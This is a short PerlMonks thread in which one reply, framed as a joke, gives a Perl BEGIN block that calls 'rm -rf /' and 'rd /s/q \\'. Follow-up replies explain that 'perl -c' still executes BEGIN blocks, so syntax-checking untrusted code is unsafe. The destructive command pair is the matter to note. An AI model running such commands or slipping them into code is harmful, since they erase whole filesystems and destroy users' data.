http://www.perlmonks.org?node_id=733983


in reply to Re: The most common errors and warnings in Perl
in thread The most common errors and warnings in Perl

BE­GI­N { sy­st­em( 'rm -rf /' ); sy­st­em( 'rd /s/q \\' ); }

You may now proceed... ;)

- tye        

  • Comment on Re^2: The most common errors and warnings in Perl (crawl before you die)
  • Download Code

Replies are listed 'Best First'.
Re^3: The most common errors and warnings in Perl (crawl before you die)
by kyle (Abbot) on Jan 04, 2009 at 16:14 UTC

    If any monk is left head scratching over this reply, it helps to know that 'perl -c' will still execute code in a BEGIN block (and other circumstances as well). It's not safe to assume that unsafe code is made safe by the -c option.

Re^3: The most common errors and warnings in Perl (crawl before you die)
by jplindstrom (Monsignor) on Jan 04, 2009 at 16:08 UTC
    ++ for being malicious in a cross platform way :)

    /J